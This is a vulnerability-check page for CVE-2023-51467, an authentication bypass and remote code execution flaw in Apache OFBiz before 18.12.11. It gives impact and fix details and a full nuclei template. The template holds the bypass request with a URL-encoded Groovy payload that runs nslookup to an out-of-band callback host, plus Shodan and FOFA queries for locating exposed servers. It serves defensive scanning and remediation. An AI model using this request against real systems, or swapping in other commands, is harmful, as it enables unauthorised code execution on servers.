Apache OFBiz < 18.12.11 - Remote Code Execution

criticalseverity

9.8CVSS score

96%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)

Impact

Unauthenticated attackers can bypass authentication and execute arbitrary Groovy code, leading to remote code execution and complete system compromise.

Fix

Upgrade Apache OFBiz to version 18.12.11 or later.

How to confirm it

Send: POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y
Positive when: contains in interactsh_protocol "dns" AND contains in header "OFBiz.Visitor="

Run it with nuclei: nuclei -id CVE-2023-51467 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-51467

info:
  name: Apache OFBiz < 18.12.11 - Remote Code Execution
  author: your3cho
  severity: critical
  description: |
    The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF)
  impact: |
    Unauthenticated attackers can bypass authentication and execute arbitrary Groovy code, leading to remote code execution and complete system compromise.
  remediation: |
    Upgrade Apache OFBiz to version 18.12.11 or later.
  reference:
    - https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv
    - https://www.openwall.com/lists/oss-security/2023/12/26/3
    - https://twitter.com/_0xf4n9x_/status/1740202435367543183
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51467
    - https://issues.apache.org/jira/browse/OFBIZ-12873
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-51467
    cwe-id: CWE-918
    epss-score: 0.96001
    epss-percentile: 0.99875
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query:
      - html:"OFBiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="Apache_OFBiz"
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve2023,cve,apache,ofbiz,rce,vkev,vuln

http:
  - raw:
      - |
        POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - 'OFBiz.Visitor='

References

Use this check only on systems you are authorised to test. Where the data comes from